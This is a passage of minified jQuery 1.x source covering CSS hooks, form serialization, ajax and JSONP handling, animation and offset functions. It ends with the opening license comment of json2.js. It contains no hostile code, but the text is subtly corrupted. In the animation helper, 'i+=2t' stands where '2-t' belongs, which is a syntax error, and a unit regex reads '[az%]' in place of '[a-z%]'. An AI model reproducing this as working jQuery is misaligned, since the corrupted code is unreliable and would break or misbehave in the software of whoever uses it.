n null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&(i=u.left,o=e.runtimeStyle
,a=o&&o.left,a&&(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.p
ixelLeft+"px",u.left=i,a&&(o.left=a)),""===l?"auto":l});function on(e,t,n){var r
=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function an(e,t,n,r,
i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"
===n&&(a+=x.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding"+Zt[o],!
0,i)),"margin"!==n&&(a-=x.css(e,"border"+Zt[o]+"Width",!0,i))):(a+=x.css(e,"padd
ing"+Zt[o],!0,i),"padding"!==n&&(a+=x.css(e,"border"+Zt[o]+"Width",!0,i)));retur
n a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(
e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null
==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(x.s
upport.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+an(e,t,n||
(a?"border":"content"),r,o)+"px"}function ln(e){var t=a,n=Gt[e];return n||(n=un(
e,t),"none"!==n&&n||(Pt=(Pt||x("<iframe frameborder='0' width='0' height='0'/>")
.css("cssText","display:block !important")).appendTo(t.documentElement),t=(Pt[0]
.contentWindow||Pt[0].contentDocument).document,t.write("<!doctype html><html><b
ody>"),t.close(),n=un(e,t),Pt.detach()),Gt[e]=n),n}function un(e,t){var n=x(t.cr
eateElement(e)).appendTo(t.body),r=x.css(n[0],"display");return n.remove(),r}x.e
ach(["height","width"],function(e,n){x.cssHooks[n]={get:function(e,r,i){return r
?0===e.offsetWidth&&Xt.test(x.css(e,"display"))?x.swap(e,Qt,function(){return sn
(e,n,i)}):sn(e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n
,r,x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,i),i):0)}}}),x.sup
port.opacity||(x.cssHooks.opacity={get:function(e,t){return It.test((t&&e.curren
tStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t
?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=x.isNumeric(t)?"alph
a(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""
===x.trim(o.replace($t,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""=
==t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace($t,i):o+" "+i)}}),x(function(
){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,n){retu
rn n?x.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!x.support.pix
elPosition&&x.fn.position&&x.each(["top","left"],function(e,n){x.cssHooks[n]={ge
t:function(e,r){return r?(r=Wt(e,n),Yt.test(r)?x(e).position()[n]+"px":r):t}}})}
),x.expr&&x.expr.filters&&(x.expr.filters.hidden=function(e){return 0>=e.offsetW
idth&&0>=e.offsetHeight||!x.support.reliableHiddenOffsets&&"none"===(e.style&&e.

style.display||x.css(e,"display"))},x.expr.filters.visible=function(e){return!x.
expr.filters.hidden(e)}),x.each({margin:"",padding:"",border:"Width"},function(e
,t){x.cssHooks[e+t]={expand:function(n){var r=0,i={},o="string"==typeof n?n.spli
t(" "):[n];for(;4>r;r++)i[e+Zt[r]+t]=o[r]||o[r-2]||o[0];return i}},Ut.test(e)||(
x.cssHooks[e+t].set=on)});var cn=/%20/g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|bu
tton|image|reset|file)$/i,hn=/^(?:input|select|textarea|keygen)/i;x.fn.extend({s
erialize:function(){return x.param(this.serializeArray())},serializeArray:functi
on(){return this.map(function(){var e=x.prop(this,"elements");return e?x.makeArr
ay(e):this}).filter(function(){var e=this.type;return this.name&&!x(this).is(":d
isabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Ct.test(e))}).ma
p(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,fun
ction(e){return{name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.r
eplace(fn,"\r\n")}}).get()}}),x.param=function(e,n){var r,i=[],o=function(e,t){t
=x.isFunction(t)?t():null==t?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeUR
IComponent(t)};if(n===t&&(n=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArra
y(e)||e.jquery&&!x.isPlainObject(e))x.each(e,function(){o(this.name,this.value)}
);else for(r in e)gn(r,e[r],n,o);return i.join("&").replace(cn,"+")};function gn
(e,t,n,r){var i;if(x.isArray(t))x.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e
+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if(n||"object"!==x.type(t))r(e,
t);else for(i in t)gn(e+"["+i+"]",t[i],n,r)}x.each("blur focus focusin focusout
load resize scroll unload click dblclick mousedown mouseup mousemove mouseover m
ouseout mouseenter mouseleave change select submit keydown keypress keyup error
contextmenu".split(" "),function(e,t){x.fn[t]=function(e,n){return arguments.len
gth>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){re
turn this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,
null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t
,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.l
ength?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,yn,vn=x.now(),bn=/\?/,xn=
/#.*$/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Cn=/^(?:about|app|a
pp-storage|.+-extension|file|res|widget):$/,Nn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^
([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,Sn=x.fn.load,An={},jn={},Dn="*/".con
cat("*");try{yn=o.href}catch(Ln){yn=a.createElement("a"),yn.href="",yn=yn.href}m
n=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!=ty
peof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(T)||[];if(x.isFunction(n))
while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e
[r]||[]).push(n)}}function qn(e,n,r,i){var o={},a=e===jn;function s(l){var u;ret
urn o[l]=!0,x.each(e[l]||[],function(e,l){var c=l(n,r,i);return"string"!=typeof
c||a||o[c]?a?!(u=c):t:(n.dataTypes.unshift(c),s(c),!1)}),u}return s(n.dataTypes[
0])||!o["*"]&&s("*")}function _n(e,n){var r,i,o=x.ajaxSettings.flatOptions||{};f
or(i in n)n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i]);return r&&x.extend(!0,e,r),e}x.
fn.load=function(e,n,r){if("string"!=typeof e&&Sn)return Sn.apply(this,arguments
);var i,o,a,s=this,l=e.indexOf(" ");return l>=0&&(i=e.slice(l,e.length),e=e.slic
e(0,l)),x.isFunction(n)?(r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&
x.ajax({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.htm
l(i?x("<div>").append(x.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.e
ach(r,o||[e.responseText,t,e])}),this},x.each(["ajaxStart","ajaxStop","ajaxCompl
ete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function(e){ret
urn this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url
:yn,type:"GET",isLocal:Cn.test(mn[1]),global:!0,processData:!0,async:!0,contentT
ype:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"tex
t/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json
, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:
{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text"
:String,"text html":!0,"text json":x.parseJSON,"text xml":x.parseXML},flatOption
s:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?_n(_n(e,x.ajaxSettings),
t):_n(x.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function
(e,n){"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,l,u,c,p=x.ajaxSetup({}
,n),f=p.context||p,d=p.context&&(f.nodeType||f.jquery)?x(f):x.event,h=x.Deferred
(),g=x.Callbacks("once memory"),m=p.statusCode||{},y={},v={},b=0,w="canceled",C=
{readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c){c={};while(t=

Tn.exec(a))c[t[1].toLowerCase()]=t[2]}t=c[e.toLowerCase()]}return null==t?null:t
},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:functio
n(e,t){var n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMim
eType:function(e){return b||(p.mimeType=e),this},statusCode:function(e){var t;if
(e)if(2>b)for(t in e)m[t]=[m[t],e[t]];else C.always(e[C.status]);return this},ab
ort:function(e){var t=e||w;return u&&u.abort(t),k(0,t),this}};if(h.promise(C).co
mplete=g.add,C.success=C.done,C.error=C.fail,p.url=((e||p.url||yn)+"").replace(x
n,"").replace(kn,mn[1]+"//"),p.type=n.method||n.type||p.method||p.type,p.dataTyp
es=x.trim(p.dataType||"*").toLowerCase().match(T)||[""],null==p.crossDomain&&(r=
En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]&&r[2]===mn[2]&&(r[
3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn[1]?"80":"443")))),p.dat
a&&p.processData&&"string"!=typeof p.data&&(p.data=x.param(p.data,p.traditional)
),qn(An,p,n,C),2===b)return C;l=p.global,l&&0===x.active++&&x.event.trigger("aja
xStart"),p.type=p.type.toUpperCase(),p.hasContent=!Nn.test(p.type),o=p.url,p.has
Content||(p.data&&(o=p.url+=(bn.test(o)?"&":"?")+p.data,delete p.data),p.cache==
=!1&&(p.url=wn.test(o)?o.replace(wn,"$1_="+vn++):o+(bn.test(o)?"&":"?")+"_="+vn+
+)),p.ifModified&&(x.lastModified[o]&&C.setRequestHeader("If-Modified-Since",x.l
astModified[o]),x.etag[o]&&C.setRequestHeader("If-None-Match",x.etag[o])),(p.dat
a&&p.hasContent&&p.contentType!==!1||n.contentType)&&C.setRequestHeader("Content
-Type",p.contentType),C.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.da
taTypes[0]]?p.accepts[p.dataTypes[0]]+("*"!==p.dataTypes[0]?", "+Dn+"; q=0.01":"
"):p.accepts["*"]);for(i in p.headers)C.setRequestHeader(i,p.headers[i]);if(p.be
foreSend&&(p.beforeSend.call(f,C,p)===!1||2===b))return C.abort();w="abort";for(
i in{success:1,error:1,complete:1})C[i](p[i]);if(u=qn(jn,p,n,C)){C.readyState=1,
l&&d.trigger("ajaxSend",[C,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){C.
abort("timeout")},p.timeout));try{b=1,u.send(y,k)}catch(N){if(!(2>b))throw N;k(1,N)}}else k(-1,"No Transport");function k(e,n,r,i){var c,y,v,w,T,N=n;2!==b&&(b=
2,s&&clearTimeout(s),u=t,a=i||"",C.readyState=e>0?4:0,c=e>=200&&300>e||304===e,r
&&(w=Mn(p,C,r)),w=On(p,w,C,c),c?(p.ifModified&&(T=C.getResponseHeader("Last-Modi
fied"),T&&(x.lastModified[o]=T),T=C.getResponseHeader("etag"),T&&(x.etag[o]=T)),
204===e||"HEAD"===p.type?N="nocontent":304===e?N="notmodified":(N=w.state,y=w.da
ta,v=w.error,c=!v)):(v=N,(e||!N)&&(N="error",0>e&&(e=0))),C.status=e,C.statusTex
t=(n||N)+"",c?h.resolveWith(f,[y,N,C]):h.rejectWith(f,[C,N,v]),C.statusCode(m),m
=t,l&&d.trigger(c?"ajaxSuccess":"ajaxError",[C,p,c?y:v]),g.fireWith(f,[C,N]),l&&
(d.trigger("ajaxComplete",[C,p]),--x.active||x.event.trigger("ajaxStop")))}retur
n C},getJSON:function(e,t,n){return x.get(e,t,n,"json")},getScript:function(e,n)
{return x.get(e,t,n,"script")}}),x.each(["get","post"],function(e,n){x[n]=functi
on(e,r,i,o){return x.isFunction(r)&&(o=o||i,i=r,r=t),x.ajax({url:e,type:n,dataTy
pe:o,data:r,success:i})}});function Mn(e,n,r){var i,o,a,s,l=e.contents,u=e.dataT
ypes;while("*"===u[0])u.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Conte
nt-Type"));if(o)for(s in l)if(l[s]&&l[s].test(o)){u.unshift(s);break}if(u[0]in r
)a=u[0];else{for(s in r){if(!u[0]||e.converters[s+" "+u[0]]){a=s;break}i||(i=s)}
a=a||i}return a?(a!==u[0]&&u.unshift(a),r[a]):t}function On(e,t,n,r){var i,o,a,s
,l,u={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)u[a.toLowerCase()]=e
.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o
]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift())if("*"
===o)o=l;else if("*"!==l&&l!==o){if(a=u[l+" "+o]||u["* "+o],!a)for(i in u)if(s=i
.split(" "),s[1]===o&&(a=u[l+" "+s[0]]||u["* "+s[0]])){a===!0?a=u[i]:u[i]!==!0&&
(o=s[0],c.unshift(s[1]));break}if(a!==!0)if(a&&e["throws"])t=a(t);else try{t=a(t
)}catch(p){return{state:"parsererror",error:a?p:"No conversion from "+l+" to "+o
}}}return{state:"success",data:t}}x.ajaxSetup({accepts:{script:"text/javascript,
application/javascript, application/ecmascript, application/x-ecmascript"},cont
ents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return
x.globalEval(e),e}}}),x.ajaxPrefilter("script",function(e){e.cache===t&&(e.cach
e=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),x.ajaxTransport("script",funct
ion(e){if(e.crossDomain){var n,r=a.head||x("head")[0]||a.documentElement;return{
send:function(t,i){n=a.createElement("script"),n.async=!0,e.scriptCharset&&(n.ch
arset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(
t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystat
echange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i(200,"success"

))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var
Fn=[],Bn=/(=)\?(?=&|$)|\?\?/;x.ajaxSetup({jsonp:"callback",jsonpCallback:functio
n(){var e=Fn.pop()||x.expando+"_"+vn++;return this[e]=!0,e}}),x.ajaxPrefilter("j
son jsonp",function(n,r,i){var o,a,s,l=n.jsonp!==!1&&(Bn.test(n.url)?"url":"stri
ng"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlenco
ded")&&Bn.test(n.data)&&"data");return l||"jsonp"===n.dataTypes[0]?(o=n.jsonpCal
lback=x.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,l?n[l]=n[l
].replace(Bn,"$1"+o):n.jsonp!==!1&&(n.url+=(bn.test(n.url)?"&":"?")+n.jsonp+"="+
o),n.converters["script json"]=function(){return s||x.error(o+" was not called")
,s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(functi
on(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&x.isFunction(a
)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,$n=e.ActiveXObject&&function(){v
ar e;for(e in Pn)Pn[e](t,!0)};function In(){try{return new e.XMLHttpRequest}catc
h(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t
){}}x.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&In()||zn(
)}:In,Rn=x.ajaxSettings.xhr(),x.support.cors=!!Rn&&"withCredentials"in Rn,Rn=x.s
upport.ajax=!!Rn,Rn&&x.ajaxTransport(function(n){if(!n.crossDomain||x.support.co
rs){var r;return{send:function(i,o){var a,s,l=n.xhr();if(n.username?l.open(n.typ
e,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields)
for(s in n.xhrFields)l[s]=n.xhrFields[s];n.mimeType&&l.overrideMimeType&&l.overr
ideMimeType(n.mimeType),n.crossDomain||i["X-Requested-With"]||(i["X-Requested-Wi
th"]="XMLHttpRequest");try{for(s in i)l.setRequestHeader(s,i[s])}catch(u){}l.sen
d(n.hasContent&&n.data||null),r=function(e,i){var s,u,c,p;try{if(r&&(i||4===l.re
adyState))if(r=t,a&&(l.onreadystatechange=x.noop,$n&&delete Pn[a]),i)4!==l.ready
State&&l.abort();else{p={},s=l.status,u=l.getAllResponseHeaders(),"string"==type
of l.responseText&&(p.text=l.responseText);try{c=l.statusText}catch(f){c=""}s||!
n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}catch(d){i||o(-1,d)
}p&&o(s,c,p,u)},n.async?4===l.readyState?setTimeout(r):(a=++Wn,$n&&(Pn||(Pn={},x
(e).unload($n)),Pn[a]=r),l.onreadystatechange=r):r()},abort:function(){r&&r(t,!0
)}}}});var Xn,Un,Vn=/^(?:toggle|show|hide)$/,Yn=RegExp("^(?:([+-])=|)("+w+")([az%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var n=this.createTw
een(e,t),r=n.cur(),i=Yn.exec(t),o=i&&i[3]||(x.cssNumber[e]?"":"px"),a=(x.cssNumb
er[e]||"px"!==o&&+r)&&Yn.exec(x.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3
],i=i||[],a=+r||1;do s=s||".5",a/=s,x.style(n.elem,e,a+o);while(s!==(s=n.cur()/r
)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2
]:+i[2]),n}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=x.now()}funct
ion Zn(e,t,n){var r,i=(Qn[t]||[]).concat(Qn["*"]),o=0,a=i.length;for(;a>o;o++)if
(r=i[o].call(n,t,e))return r}function er(e,t,n){var r,i,o=0,a=Gn.length,s=x.Defe
rred().always(function(){delete l.elem}),l=function(){if(i)return!1;var t=Xn||Kn
(),n=Math.max(0,u.startTime+u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens
.length;for(;l>a;a++)u.tweens[a].run(o);return s.notifyWith(e,[u,o,n]),1>o&&l?n:
(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:x.extend({},t),opts:x.exten
d(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Xn||
Kn(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,u.o
pts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:
function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)u.tw
eens[n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u
.props;for(tr(c,u.opts.specialEasing);a>o;o++)if(r=Gn[o].call(u,e,c,u.opts))retu
rn r;return x.map(c,Zn,u),x.isFunction(u.opts.start)&&u.opts.start.call(e,u),x.f
x.timer(x.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progre
ss).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}fu
nction tr(e,t){var n,r,i,o,a;for(n in e)if(r=x.camelCase(n),i=t[r],o=e[n],x.isAr
ray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=x.cssHooks[r],a&&"exp
and"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t
[r]=i}x.Animation=x.extend(er,{tweener:function(e,t){x.isFunction(e)?(t=e,e=["*"
]):e=e.split(" ");var n,r=0,i=e.length;for(;i>r;r++)n=e[r],Qn[n]=Qn[n]||[],Qn[n]
.unshift(t)},prefilter:function(e,t){t?Gn.unshift(e):Gn.push(e)}});function nr(e
,t,n){var r,i,o,a,s,l,u=this,c={},p=e.style,f=e.nodeType&&nn(e),d=x._data(e,"fxs
how");n.queue||(s=x._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empt
y.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued++,u.always(function(

){u.always(function(){s.unqueued--,x.queue(e,"fx").length||s.empty.fire()})})),1
===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,
p.overflowY],"inline"===x.css(e,"display")&&"none"===x.css(e,"float")&&(x.suppor
t.inlineBlockNeedsLayout&&"inline"!==ln(e.nodeName)?p.zoom=1:p.display="inline-b
lock")),n.overflow&&(p.overflow="hidden",x.support.shrinkWrapBlocks||u.always(fu
nction(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overfl
ow[2]}));for(r in t)if(i=t[r],Vn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(
f?"hide":"show"))continue;c[r]=d&&d[r]||x.style(e,r)}if(!x.isEmptyObject(c)){d?"
hidden"in d&&(f=d.hidden):d=x._data(e,"fxshow",{}),o&&(d.hidden=!f),f?x(e).show(
):u.done(function(){x(e).hide()}),u.done(function(){var t;x._removeData(e,"fxsho
w");for(t in c)x.style(e,t,c[t])});for(r in c)a=Zn(f?d[r]:0,r,u),r in d||(d[r]=a
.start,f&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}function rr(e,
t,n,r,i){return new rr.prototype.init(e,t,n,r,i)}x.Tween=rr,rr.prototype={constr
uctor:rr,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swin
g",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssN
umber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return e&&e.get?
e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHook
s[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,thi
s.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)
*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this)
,n&&n.set?n.set(this):rr.propHooks._default.set(this),this}},rr.prototype.init.p
rototype=rr.prototype,rr.propHooks={_default:{get:function(e){var t;return null=
=e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop
,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.s
tep[e.prop](e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks
[e.prop])?x.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},rr.propHoo
ks.scrollTop=rr.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.pa
rentNode&&(e.elem[e.prop]=e.now)}},x.each(["toggle","show","hide"],function(e,t)
{var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.app
ly(this,arguments):this.animate(ir(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(
e,t,n,r){return this.filter(nn).css("opacity",0).show().end().animate({opacity:t
},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),a=
function(){var t=er(this,x.extend({},e),o);(i||x._data(this,"finish"))&&t.stop(!
0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:f
unction(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return"string"
!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function()
{var t=!0,n=null!=e&&e+"queueHooks",o=x.timers,a=x._data(this);if(n)a[n]&&a[n].s
top&&i(a[n]);else for(n in a)a[n]&&a[n].stop&&Jn.test(n)&&i(a[n]);for(n=o.length
;n--;)o[n].elem!==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splic
e(n,1));(t||!r)&&x.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"f
x"),this.each(function(){var t,n=x._data(this),r=n[e+"queue"],i=n[e+"queueHooks"
],o=x.timers,a=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i&&i.stop&&i.stop
.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop
(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);de
lete n.finish})}});function ir(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2t)n=Zt[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}x.eac
h({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:{opac
ity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t
){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n
){var r=e&&"object"==typeof e?x.extend({},e):{complete:n||!n&&t||x.isFunction(e)
&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return r.duration=x.fx.off?0
:"number"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.
duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.o
ld=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call(this),r.queu
e&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:func
tion(e){return.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=rr.prototype.init,x.fx
.tick=function(){var e,n=x.timers,r=0;for(Xn=x.now();n.length>r;r++)e=n[r],e()||
n[r]!==e||n.splice(r--,1);n.length||x.fx.stop(),Xn=t},x.fx.timer=function(e){e()
&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function(){Un||(Un
=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(Un),U

n=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr
.filters&&(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t
){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length)retur
n e===t?this:this.each(function(t){x.offset.setOffset(this,e,t)});var n,r,o={top
:0,left:0},a=this[0],s=a&&a.ownerDocument;if(s)return n=s.documentElement,x.cont
ains(n,a)?(typeof a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=o
r(s),{top:o.top+(r.pageYOffset||n.scrollTop)-(n.clientTop||0),left:o.left+(r.pag
eXOffset||n.scrollLeft)-(n.clientLeft||0)}):o},x.offset={setOffset:function(e,t,
n){var r=x.css(e,"position");"static"===r&&(e.style.position="relative");var i=x
(e),o=i.offset(),a=x.css(e,"top"),s=x.css(e,"left"),l=("absolute"===r||"fixed"==
=r)&&x.inArray("auto",[a,s])>-1,u={},c={},p,f;l?(c=i.position(),p=c.top,f=c.left
):(p=parseFloat(a)||0,f=parseFloat(s)||0),x.isFunction(t)&&(t=t.call(e,n,o)),nul
l!=t.top&&(u.top=t.top-o.top+p),null!=t.left&&(u.left=t.left-o.left+f),"using"in
t?t.using.call(e,u):i.css(u)}},x.fn.extend({position:function(){if(this[0]){var
e,t,n={top:0,left:0},r=this[0];return"fixed"===x.css(r,"position")?t=r.getBound
ingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],"html")||
(n=e.offset()),n.top+=x.css(e[0],"borderTopWidth",!0),n.left+=x.css(e[0],"border
LeftWidth",!0)),{top:t.top-n.top-x.css(r,"marginTop",!0),left:t.left-n.left-x.cs
s(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e
=this.offsetParent||s;while(e&&!x.nodeName(e,"html")&&"static"===x.css(e,"positi
on"))e=e.offsetParent;return e||s})}}),x.each({scrollLeft:"pageXOffset",scrollTo
p:"pageYOffset"},function(e,n){var r=/Y/.test(n);x.fn[e]=function(i){return x.ac
cess(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a[n]:a.document.docu
mentElement[i]:e[i]:(a?a.scrollTo(r?x(a).scrollLeft():o,r?o:x(a).scrollTop()):e[
i]=o,t)},e,i,arguments.length,null)}});function or(e){return x.isWindow(e)?e:9==
=e.nodeType?e.defaultView||e.parentWindow:!1}x.each({Height:"height",Width:"widt
h"},function(e,n){x.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i
){x.fn[i]=function(i,o){var a=arguments.length&&(r||"boolean"!=typeof i),s=r||(i
===!0||o===!0?"margin":"border");return x.access(this,function(n,r,i){var o;retu
rn x.isWindow(n)?n.document.documentElement["client"+e]:9===n.nodeType?(o=n.docu
mentElement,Math.max(n.body["scroll"+e],o["scroll"+e],n.body["offset"+e],o["offs
et"+e],o["client"+e])):i===t?x.css(n,r,s):x.style(n,r,i,s)},n,a?i:t,a,null)}})})
,x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,"object"==ty
peof module&&module&&"object"==typeof module.exports?module.exports=x:(e.jQuery=
e.$=x,"function"==typeof define&&define.amd&&define("jquery",[],function(){retur
n x}))})(window);
/*
json2.js
2014-02-04
Public Domain.
NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
See http://www.JSON.org/js.html
This code should be minified before deployment.
